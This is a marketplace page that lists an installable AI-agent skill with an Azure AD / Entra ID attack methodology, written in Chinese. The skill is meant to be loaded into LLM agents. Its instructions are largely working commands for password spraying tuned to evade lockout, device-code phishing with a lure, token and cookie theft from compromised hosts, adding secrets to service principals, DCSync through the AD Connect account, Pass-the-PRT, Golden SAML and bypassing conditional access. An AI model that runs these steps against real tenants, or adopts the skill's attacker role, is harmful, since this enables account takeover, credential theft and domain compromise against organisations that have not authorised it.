Azure Ad Attack logo

Azure Ad Attack

OrganizationPopular
wgpsec
azure-ad-attack

Azure AD / Entra ID 攻击方法论。当目标使用 Microsoft 365/Azure 云环境、发现 Azure AD 认证流程、或获取到 Azure 凭据时使用。覆盖初始访问(Password Spray/Phishing)、令牌窃取、Service Principal 滥用、条件访问绕过、跨租户攻击

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill nameazure-ad-attack
Stars
1.7K
Forks
242
Bundled files
2
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 2 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Azure Ad Attack AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/cloud/azure-ad-attack .claude/skills/azure-ad-attack
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Azure Ad Attack in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Azure Ad Attack on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Azure Ad Attack is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Azure AD / Entra ID 攻击方法论

定位:从攻击者视角利用 Azure AD 的信任关系、令牌机制和配置缺陷实现横向移动和权限提升

⛔ 深入参考


Phase 1: 初始访问

1.1 Password Spray(Azure AD)

bash
# MSOLSpray — Azure AD 密码喷洒
python3 MSOLSpray.py --userlist users.txt --password 'Spring2024!' \
  --url https://login.microsoftonline.com

# Ruler — Exchange/O365 密码喷洒
ruler --domain target.com brute --users users.txt --passwords pass.txt

# Trevorspray — 分布式喷洒(绕过 Smart Lockout)
trevorspray --users users.txt --passwords passwords.txt \
  --url https://login.microsoftonline.com \
  --delay 30 --jitter 10

# ⛔ Azure AD Smart Lockout: 默认 10 次失败/60s
# 策略: 每用户 1-2 次尝试,间隔 > 60s,使用不同 IP

1.2 Phishing(Device Code / Consent Grant)

bash
# Device Code Phishing — 不需要目标输入密码
# 1. 获取 device code
curl -X POST https://login.microsoftonline.com/common/oauth2/devicecode \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https://graph.microsoft.com"

# 2. 发送 device code 给目标(通过钓鱼邮件)
# "请访问 https://microsoft.com/devicelogin 并输入代码: XXXXXXXXX"

# 3. 目标输入代码后,攻击者获取令牌
curl -X POST https://login.microsoftonline.com/common/oauth2/token \
  -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&code=DEVICE_CODE"

1.3 Token 提取(已控主机)

bash
# 从浏览器提取 Azure AD Cookie/Token
# Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies
# Edge: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cookies

# 从 TokenCache 提取
# Windows: %LOCALAPPDATA%\.IdentityService\msal.cache
# macOS: ~/Library/Group Containers/*.Office/MicrosoftRegistrationDB.reg

# 使用 AADInternals
Import-Module AADInternals
Get-AADIntAccessTokenForMSGraph  # 获取 Graph API token

Phase 2: 枚举与信息收集

bash
# AzureHound — BloodHound 的 Azure 版本
azurehound list -u user@target.com -p 'password' --tenant target.onmicrosoft.com -o output.json

# ROADtools — Azure AD 完整枚举
roadrecon auth -u user@target.com -p 'password'
roadrecon gather
roadrecon gui  # Web UI 浏览结果

# Microsoft Graph API 枚举
# 用户列表
curl -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/users?\$select=displayName,userPrincipalName,accountEnabled"

# 组成员
curl -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/groups?\$filter=displayName eq 'Global Admins'&\$expand=members"

# 应用注册
curl -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/applications"

# Service Principals
curl -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/servicePrincipals"

Phase 3: 权限提升

3.1 Service Principal 密钥添加

bash
# 如果有权限给 Application 添加凭据
# Application.ReadWrite.All 或 Application 的 Owner

# 添加 Password Credential
curl -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  "https://graph.microsoft.com/v1.0/applications/{app-id}/addPassword" \
  -d '{"passwordCredential":{"displayName":"backup"}}'

# 使用新密码以 Service Principal 身份登录
curl -X POST "https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token" \
  -d "client_id={app-id}&client_secret={new-secret}&scope=https://graph.microsoft.com/.default&grant_type=client_credentials"

3.2 Consent Grant 攻击

bash
# 创建恶意应用 → 诱骗管理员授予高权限
# 如果有 Application Administrator 角色:
# 直接给应用授予 admin consent

# 检查已有高权限应用
curl -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/oauth2PermissionGrants?\$filter=consentType eq 'AllPrincipals'"

3.3 PIM (Privileged Identity Management) 激活

bash
# 如果用户有 eligible 角色但未激活
# 使用 AADInternals 或 Graph API 激活

# 列出可激活的角色
curl -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/beta/roleManagement/directory/roleEligibilityScheduleRequests"

Phase 4: 横向移动

Azure → On-Premises

Azure AD Connect 同步账户:
├─ MSOL_<installationID> — 拥有域中 DCSync 权限
├─ 获取 Azure AD Connect 配置数据库中的凭据
├─ 使用 AADInternals: Get-AADIntSyncCredentials
└─ 用该凭据 DCSync 整个域

Pass-the-PRT (Primary Refresh Token):
├─ 从已 Azure AD Join 的设备提取 PRT
├─ 使用 PRT 访问所有 Azure AD SSO 资源
├─ 工具: ROADtoken, RequestAADRefreshToken
└─ 可绕过条件访问策略(已信任设备)

On-Premises → Azure

如果拥有 On-Prem 的 Azure AD Connect 服务器:
├─ 提取 MSOL 凭据 → 可修改任何 synced 用户的密码
├─ 通过 ADSync 数据库获取云管理员密码
└─ Golden SAML: 控制 AD FS → 伪造任何用户的 SAML token

Phase 5: 条件访问绕过

常见绕过方式:
├─ Device Code 流程 — 某些策略不覆盖 device flow
├─ Legacy Authentication — 旧协议可能不受 CA 限制
├─ 不同 Client ID — 使用非浏览器客户端(Azure CLI/PowerShell)
├─ Trusted Location 滥用 — 如果从已信任 IP 访问
└─ 合规设备伪造 — PRT 中的设备声明

工具速查

工具用途
AzureHoundAzure AD 攻击路径发现
ROADtools完整 Azure AD 枚举
AADInternalsAzure AD 利用框架
TokenTacticsToken 操作与刷新
MSOLSpray密码喷洒
GraphRunnerGraph API 交互
Trevorspray分布式喷洒

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Azure Ad Attack AI skill do?

Azure AD / Entra ID 攻击方法论。当目标使用 Microsoft 365/Azure 云环境、发现 Azure AD 认证流程、或获取到 Azure 凭据时使用。覆盖初始访问(Password Spray/Phishing)、令牌窃取、Service Principal 滥用、条件访问绕过、跨租户攻击

Why use Azure Ad Attack on TypingMind?

Because you install it once and use it with any model. Azure Ad Attack is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Azure Ad Attack in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/cloud/azure-ad-attack. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Azure Ad Attack?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Azure Ad Attack?

As many as you like. As long as a model supports skills, you can use Azure Ad Attack with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Azure Ad Attack AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇